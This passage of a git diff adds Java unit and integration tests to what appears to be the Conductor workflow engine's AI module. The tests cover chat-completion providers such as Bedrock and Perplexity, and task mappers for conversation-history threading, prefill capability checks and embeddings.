config.setAccessKey(System.getenv("AWS_ACCESS_KEY_ID")); + config.setSecretKey(System.getenv("AWS_SECRET_ACCESS_KEY")); + } + + String region = System.getenv("AWS_REGION"); + if (StringUtils.isNotBlank(region)) { + config.setRegion(region); + } + bedrock = new Bedrock(config); + } + + @Test + @DisplayName("Chat completion with Bedrock Claude") + void testChatCompletion() { + ChatModel chatModel = bedrock.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + // Use US cross-region inference profile (required for API key auth) + input.setModel("us.anthropic.claude-sonnet-4-6"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = bedrock.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("bedrock", bedrock.getModelProvider()); + } + } + + // ======================================================================== + // Perplexity Tests + // ======================================================================== + + @Nested + @DisplayName("Perplexity AI Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isPerplexityConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class PerplexityTests { + + private PerplexityAI perplexity; + + @BeforeAll + void setup() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + config.setApiKey(System.getenv("PERPLEXITY_API_KEY")); + config.setBaseURL(System.getenv("PERPLEXITY_BASE_URL")); + perplexity = new PerplexityAI(config, testHttpClient()); + } + + @Test + @DisplayName("Chat completion with Perplexity") + void testChatCompletion() { + ChatModel chatModel = perplexity.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("sonar"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = perplexity.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("perplexity", perplexity.getModelProvider()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/AIModelTaskMapperPreviousResponseIdTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/AIModelTaskMapperPreviousResponseIdTest.java new file mode 100644 index 0000000..8f5d2ba --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/AIModelTaskMapperPreviousResponseIdTest.java @@ -0,0 +1,451 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.AIModelProvider; +import org.conductoross.conductor.ai.model.LLMWorkerInput; +import org.conductoross.conductor.ai.tasks.mapper.ChatCompleteTaskMapper; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Unit tests for {@code AIModelTaskMapper.threadPreviousResponseId()} — the auto-injection of + * OpenAI Responses API {@code previousResponseId} across iterations of the same task within a + * workflow (typically a DoWhile loop). + * + *

The mapper is exercised via {@link ChatCompleteTaskMapper}, its concrete subclass, since the + * threading method is private. These tests cover the workflow-side wiring that the existing + * integration test ({@code AIModelIntegrationTest.testPreviousResponseId}) cannot — that test + * verifies the chat-model API plumbing against a live OpenAI endpoint, but does not exercise the + * mapper's prior-task lookup. + */ +class AIModelTaskMapperPreviousResponseIdTest { + + private static final String LLM_REF = "chat_loop_iteration"; + + @Test + @Disabled( + "Auto-threading of previousResponseId is disabled in AIModelTaskMapper " + + "(see threadPreviousResponseId javadoc for token-accumulation reasoning). " + + "Re-enable this test alongside the feature once the mapper emits " + + "delta-only history for Responses API loops.") + void priorIterationsResponseIdIsInjectedOntoCurrentTaskInput() { + // Two terminal iterations of the LLM_CHAT_COMPLETE task already ran and + // recorded responseId on their output. The mapper schedules a third + // iteration; it should inherit the most recent prior responseId. + WorkflowModel workflow = newWorkflowWithLoop(); + workflow.getTasks().add(completedIteration("resp_first")); + workflow.getTasks().add(completedIteration("resp_second")); + + Map input = chatInput(); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + assertEquals(1, mapped.size()); + assertEquals( + "resp_second", + mapped.get(0).getInputData().get("previousResponseId"), + "should inject the most-recent prior responseId"); + } + + @Test + void explicitPreviousResponseIdSetByCallerIsNotOverwritten() { + WorkflowModel workflow = newWorkflowWithLoop(); + workflow.getTasks().add(completedIteration("resp_old")); + + Map input = chatInput(); + input.put("previousResponseId", "resp_explicit_user_choice"); + + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + assertEquals( + "resp_explicit_user_choice", + mapped.get(0).getInputData().get("previousResponseId"), + "an explicit caller value must take precedence over auto-threading"); + } + + @Test + void firstIterationGetsNoPreviousResponseIdInjected() { + // No prior tasks ⇒ first turn of the conversation, request omits the field. + WorkflowModel workflow = newWorkflowWithLoop(); + + Map input = chatInput(); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + assertNull(mapped.get(0).getInputData().get("previousResponseId")); + } + + @Test + void priorTasksWithDifferentRefNameAreIgnored() { + // Auto-threading must scope by taskReferenceName — a sibling LLM task in + // a parallel branch must not leak its responseId into this loop's chain. + WorkflowModel workflow = newWorkflowWithLoop(); + TaskModel sibling = completedIteration("resp_sibling"); + sibling.getWorkflowTask().setTaskReferenceName("other_llm_task"); + workflow.getTasks().add(sibling); + + Map input = chatInput(); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + assertNull( + mapped.get(0).getInputData().get("previousResponseId"), + "responseId from a different taskReferenceName must not be inherited"); + } + + @Test + void localHistoryInjectionIsSkippedWhenPreviousResponseIdIsSet() { + // Two prior completed iterations recorded responseId + actual chat output. + // ChatCompleteTaskMapper.getHistory() would normally append those prior + // assistant messages into the next iteration's messages array — but it + // drops the matching prior user messages, leaving a malformed conversation + // that confuses the model. When previousResponseId is set (here, by the + // caller; auto-threading from prior iterations is currently disabled in + // AIModelTaskMapper), OpenAI's server-side conversation store is the + // single source of truth for same-refName loop iterations, so that + // specific branch of history injection MUST be skipped. (Participants, + // tool calls, sub-workflow tool results are still preserved by + // getHistory(); see separate tests.) + WorkflowModel workflow = newWorkflowWithLoop(); + TaskModel prior1 = completedIteration("resp_one"); + prior1.getOutputData().put("result", "Got it."); + prior1.setIteration(1); // makes isLoopOverTask() true + workflow.getTasks().add(prior1); + + TaskModel prior2 = completedIteration("resp_two"); + prior2.getOutputData().put("result", "Got it."); + prior2.setIteration(2); + workflow.getTasks().add(prior2); + + Map input = chatInput(); + input.put("messages", new ArrayList>()); + input.put("previousResponseId", "resp_two"); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + // previousResponseId passed through from input unchanged. + assertEquals("resp_two", mapped.get(0).getInputData().get("previousResponseId")); + + // The messages array on input must NOT have been augmented with prior + // assistant responses — that's what getHistory() does, and we now skip + // it whenever previousResponseId is in play. + @SuppressWarnings("unchecked") + List messages = (List) mapped.get(0).getInputData().get("messages"); + assertTrue( + messages == null || messages.isEmpty(), + "with previousResponseId set, no local history should be appended; " + + "saw messages=" + + messages); + } + + @Test + void participantHistoryIsPreservedEvenWhenPreviousResponseIdIsSet() { + // Regression: getHistory() used to be skipped entirely when + // previousResponseId was set, which dropped participant messages, + // sub-workflow tool calls, and media. Now only the same-refName + // loop-iteration assistant branch is suppressed — participants + // (a different refName) must still flow through, because OpenAI's + // Responses API server-side conversation store has never seen them. + WorkflowModel workflow = newWorkflowWithLoop(); + + // A prior loop iteration of the chat task itself — must be skipped. + TaskModel priorChat = completedIteration("resp_chat"); + priorChat.getOutputData().put("result", "I am the assistant."); + priorChat.setIteration(1); + workflow.getTasks().add(priorChat); + + // A participant task — different refName, registered in participants + // map — must NOT be skipped. We use a non-SIMPLE task type so the + // participant flows through getHistory()'s plain text-message branch + // rather than the SIMPLE/HTTP tool-call wrapping branch; that keeps + // the assertion focused on the "did this task contribute history" + // question rather than re-testing tool-call serialization shape. + TaskModel participant = new TaskModel(); + participant.setStatus(TaskModel.Status.COMPLETED); + participant.setTaskType("HUMAN"); + WorkflowTask participantTask = new WorkflowTask(); + participantTask.setName("user_proxy"); + participantTask.setTaskReferenceName("user_proxy_ref"); + participantTask.setType("HUMAN"); + participant.setWorkflowTask(participantTask); + Map participantOutput = new HashMap<>(); + participantOutput.put("result", "User says: continue."); + participant.setOutputData(participantOutput); + workflow.getTasks().add(participant); + + Map input = chatInput(); + input.put("messages", new ArrayList>()); + input.put("previousResponseId", "resp_chat"); + Map participants = new HashMap<>(); + participants.put("user_proxy_ref", "user"); // participant role + input.put("participants", participants); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + // previousResponseId passed through from input unchanged. + assertEquals("resp_chat", mapped.get(0).getInputData().get("previousResponseId")); + + // The participant message must have made it through. The loop-iteration + // assistant message must NOT have. ``messages`` is a List + // at this point — the mapper translates inputData → ChatCompletion → + // ChatMessage list and writes it back. + @SuppressWarnings("unchecked") + List messages = + (List) + mapped.get(0).getInputData().get("messages"); + assertTrue( + messages != null && !messages.isEmpty(), "participant message must be preserved"); + boolean sawParticipant = + messages.stream().anyMatch(m -> "User says: continue.".equals(m.getMessage())); + boolean sawAssistantLoopIteration = + messages.stream().anyMatch(m -> "I am the assistant.".equals(m.getMessage())); + assertTrue(sawParticipant, "participant 'user' message must flow through: " + messages); + assertTrue( + !sawAssistantLoopIteration, + "same-refName loop-iteration assistant must NOT flow through: " + messages); + } + + @Test + void localHistoryInjectionIsSkippedWhenProviderRejectsPrefill() { + // Provider-agnostic check: the mapper asks the resolved AIModel + // whether it accepts assistant-message prefill, and suppresses the + // same-refName loop-iteration injection when the provider says no. + // Anthropic Claude Sonnet 4.6+ is the original motivating case (it + // returns 400 "This model does not support assistant message prefill. + // The conversation must end with a user message"), but the suppression + // path itself is keyed off the capability flag — not a hardcoded + // provider name — so any future provider that declares the same + // capability is covered automatically. + WorkflowModel workflow = newWorkflowWithLoop(); + TaskModel prior = completedIteration("ignored_resp"); + prior.getOutputData().put("result", "Loop-iteration assistant."); + prior.setIteration(1); // makes isLoopOverTask() true + workflow.getTasks().add(prior); + + Map input = chatInput(); + input.put("llmProvider", "anthropic"); + input.put("model", "claude-sonnet-4-6"); + input.put("messages", new ArrayList>()); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + ChatCompleteTaskMapper mapper = new ChatCompleteTaskMapper(providerFor("anthropic", false)); + List mapped = mapper.getMappedTasks(ctx); + + @SuppressWarnings("unchecked") + List messages = + (List) + mapped.get(0).getInputData().get("messages"); + assertTrue( + messages == null || messages.isEmpty(), + "providers that reject prefill must not auto-inject loop assistant history; saw " + + messages); + } + + @Test + void localHistoryInjectionStillRunsWhenProviderAcceptsPrefill() { + // Regression safety: the capability check must not over-suppress. + // A provider that accepts prefill (the historical default) should + // still receive the auto-injected loop-iteration assistant history, + // matching pre-capability behavior for OpenAI without previousResponseId, + // Gemini, and similar. + WorkflowModel workflow = newWorkflowWithLoop(); + TaskModel prior = completedIteration("ignored_resp"); + prior.getOutputData().put("result", "Loop-iteration assistant."); + prior.setIteration(1); + workflow.getTasks().add(prior); + + Map input = chatInput(); + input.put("messages", new ArrayList>()); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + ChatCompleteTaskMapper mapper = new ChatCompleteTaskMapper(providerFor("openai", true)); + List mapped = mapper.getMappedTasks(ctx); + + @SuppressWarnings("unchecked") + List messages = + (List) + mapped.get(0).getInputData().get("messages"); + boolean sawAssistantLoopIteration = + messages != null + && messages.stream() + .anyMatch(m -> "Loop-iteration assistant.".equals(m.getMessage())); + assertTrue( + sawAssistantLoopIteration, + "providers that accept prefill must still receive loop-iteration history; saw " + + messages); + } + + @Test + void participantHistoryIsPreservedWhenProviderRejectsPrefill() { + // Regression safety against an over-broad suppression. The capability + // gate must scope to the same-refName loop-iteration assistant branch + // only — participants (a different refName, registered in participants + // map) are legitimate conversation turns and must still flow through. + WorkflowModel workflow = newWorkflowWithLoop(); + + TaskModel priorChat = completedIteration("ignored_resp"); + priorChat.getOutputData().put("result", "Loop-iteration assistant."); + priorChat.setIteration(1); + workflow.getTasks().add(priorChat); + + TaskModel participant = new TaskModel(); + participant.setStatus(TaskModel.Status.COMPLETED); + participant.setTaskType("HUMAN"); + WorkflowTask participantTask = new WorkflowTask(); + participantTask.setName("user_proxy"); + participantTask.setTaskReferenceName("user_proxy_ref"); + participantTask.setType("HUMAN"); + participant.setWorkflowTask(participantTask); + Map participantOutput = new HashMap<>(); + participantOutput.put("result", "User says: continue."); + participant.setOutputData(participantOutput); + workflow.getTasks().add(participant); + + Map input = chatInput(); + input.put("llmProvider", "anthropic"); + input.put("model", "claude-sonnet-4-6"); + input.put("messages", new ArrayList>()); + Map participants = new HashMap<>(); + participants.put("user_proxy_ref", "user"); + input.put("participants", participants); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + ChatCompleteTaskMapper mapper = new ChatCompleteTaskMapper(providerFor("anthropic", false)); + List mapped = mapper.getMappedTasks(ctx); + + @SuppressWarnings("unchecked") + List messages = + (List) + mapped.get(0).getInputData().get("messages"); + assertTrue( + messages != null && !messages.isEmpty(), + "participant message must be preserved when provider rejects prefill"); + boolean sawParticipant = + messages.stream().anyMatch(m -> "User says: continue.".equals(m.getMessage())); + boolean sawAssistantLoopIteration = + messages.stream().anyMatch(m -> "Loop-iteration assistant.".equals(m.getMessage())); + assertTrue(sawParticipant, "participant 'user' message must flow through: " + messages); + assertTrue( + !sawAssistantLoopIteration, + "same-refName loop-iteration assistant must NOT flow when provider rejects prefill: " + + messages); + } + + @Test + void inProgressPriorTaskIsSkippedEvenIfItAlreadyHasAResponseId() { + // A task is only considered if its status is terminal. An in-flight + // task with a (partial) responseId on its output must not be threaded. + WorkflowModel workflow = newWorkflowWithLoop(); + TaskModel inFlight = completedIteration("resp_partial"); + inFlight.setStatus(TaskModel.Status.IN_PROGRESS); + workflow.getTasks().add(inFlight); + + Map input = chatInput(); + TaskMapperContext ctx = newContext(workflow, llmTask(), input); + + List mapped = new ChatCompleteTaskMapper().getMappedTasks(ctx); + + assertTrue( + mapped.get(0).getInputData().get("previousResponseId") == null, + "in-progress prior task should not contribute a responseId"); + } + + // -- fixtures -- + + private static WorkflowModel newWorkflowWithLoop() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + workflow.setTasks(new ArrayList<>()); + return workflow; + } + + private static WorkflowTask llmTask() { + WorkflowTask wt = new WorkflowTask(); + wt.setName("chat_complete"); + wt.setTaskReferenceName(LLM_REF); + wt.setType("LLM_CHAT_COMPLETE"); + return wt; + } + + private static Map chatInput() { + Map input = new HashMap<>(); + input.put("llmProvider", "openai"); + input.put("model", "gpt-5.3-codex"); + return input; + } + + private static TaskModel completedIteration(String responseId) { + TaskModel prior = new TaskModel(); + prior.setStatus(TaskModel.Status.COMPLETED); + prior.setTaskType("LLM_CHAT_COMPLETE"); + prior.setWorkflowTask(llmTask()); + Map out = new HashMap<>(); + out.put("responseId", responseId); + prior.setOutputData(out); + return prior; + } + + private static TaskMapperContext newContext( + WorkflowModel workflow, WorkflowTask task, Map input) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(task) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId("task-" + System.nanoTime()) + .build(); + } + + /** + * Stubs an {@link AIModelProvider} that returns a single {@link AIModel} for the given provider + * name, with {@link AIModel#supportsAssistantPrefill()} configured per the second argument. The + * model's other abstract methods are never invoked by the mapper code under test, so Mockito's + * default returns are fine. + */ + private static AIModelProvider providerFor(String providerName, boolean supportsPrefill) { + AIModel model = mock(AIModel.class); + when(model.getModelProvider()).thenReturn(providerName); + when(model.supportsAssistantPrefill()).thenReturn(supportsPrefill); + AIModelProvider provider = mock(AIModelProvider.class); + when(provider.getModel(any(LLMWorkerInput.class))).thenReturn(model); + return provider; + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/AgentTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/AgentTaskMapperTest.java new file mode 100644 index 0000000..21fef65 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/AgentTaskMapperTest.java @@ -0,0 +1,64 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.AgentTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +class AgentTaskMapperTest { + + @Test + void producesScheduledTaskWithInput() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("call_agent_task"); + workflowTask.setType(AgentTaskMapper.TASK_TYPE); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + + Map input = new HashMap<>(); + input.put("agentUrl", "http://agent"); + input.put("text", "convert 100 USD to EUR"); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(new IDGenerator().generate()) + .build(); + + List mapped = new AgentTaskMapper().getMappedTasks(context); + + assertEquals(1, mapped.size()); + assertEquals(AgentTaskMapper.TASK_TYPE, mapped.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mapped.get(0).getStatus()); + assertEquals("http://agent", mapped.get(0).getInputData().get("agentUrl")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/GenEmbeddingsTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/GenEmbeddingsTaskMapperTest.java new file mode 100644 index 0000000..4fbc34a --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/GenEmbeddingsTaskMapperTest.java @@ -0,0 +1,113 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.GenEmbeddingsTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.LLM_PROVIDER; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.MODEL_NAME; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class GenEmbeddingsTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_GENERATE_EMBEDDINGS"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("gen_embeddings_task"); + workflowTask.setType(taskType); + String provider = "azure_openai"; + String model = "gpt-3"; + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + GenEmbeddingsTaskMapper genEmbeddingsTaskMapper = new GenEmbeddingsTaskMapper(); + // Without any input parameters + try { + genEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No provider provided. Please provide it using 'llmProvider' input parameter", + e.getMessage()); + } + // We add 'llmProvider' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put(LLM_PROVIDER, provider); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + genEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No model name provided. Please provide it using 'model' input parameter", + e.getMessage()); + } + + // We add 'model' input parameter + taskInputs.put(MODEL_NAME, model); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + genEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the Integration " + + provider + + ":" + + model, + e.getMessage()); + } + + // Now we use the mocked OrkesPermissionEvaluator + genEmbeddingsTaskMapper = new GenEmbeddingsTaskMapper(); + + List mappedTasks = genEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/GetEmbeddingsTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/GetEmbeddingsTaskMapperTest.java new file mode 100644 index 0000000..7ae6dad --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/GetEmbeddingsTaskMapperTest.java @@ -0,0 +1,125 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.GetEmbeddingsTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.EMBEDDINGS; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.INDEX; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.VECTOR_DB; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class GetEmbeddingsTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_GET_EMBEDDINGS"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("get_embeddings_task"); + workflowTask.setType(taskType); + String vectorDb = "pineconedb"; + String index = "some-index"; + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + GetEmbeddingsTaskMapper getEmbeddingsTaskMapper = new GetEmbeddingsTaskMapper(); + // Without any input parameters + try { + getEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No Vector database provided. Please provide it using 'vectorDB' input parameter", + e.getMessage()); + } + // We add 'vectorDB' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put(VECTOR_DB, vectorDb); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + getEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No index provided. Please provide it using 'index' input parameter", + e.getMessage()); + } + + // We add 'index' input parameter + taskInputs.put(INDEX, index); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + getEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No embeddings provided. Please provide them using 'embeddings' input parameter", + e.getMessage()); + } + + // We add 'embeddings' input parameter + taskInputs.put(EMBEDDINGS, List.of(1.0F)); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + getEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the index " + + index + + " from database " + + vectorDb, + e.getMessage()); + } + + // Now we use the mocked OrkesPermissionEvaluator + getEmbeddingsTaskMapper = new GetEmbeddingsTaskMapper(); + + List mappedTasks = getEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/IndexTextTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/IndexTextTaskMapperTest.java new file mode 100644 index 0000000..b278ca6 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/IndexTextTaskMapperTest.java @@ -0,0 +1,150 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

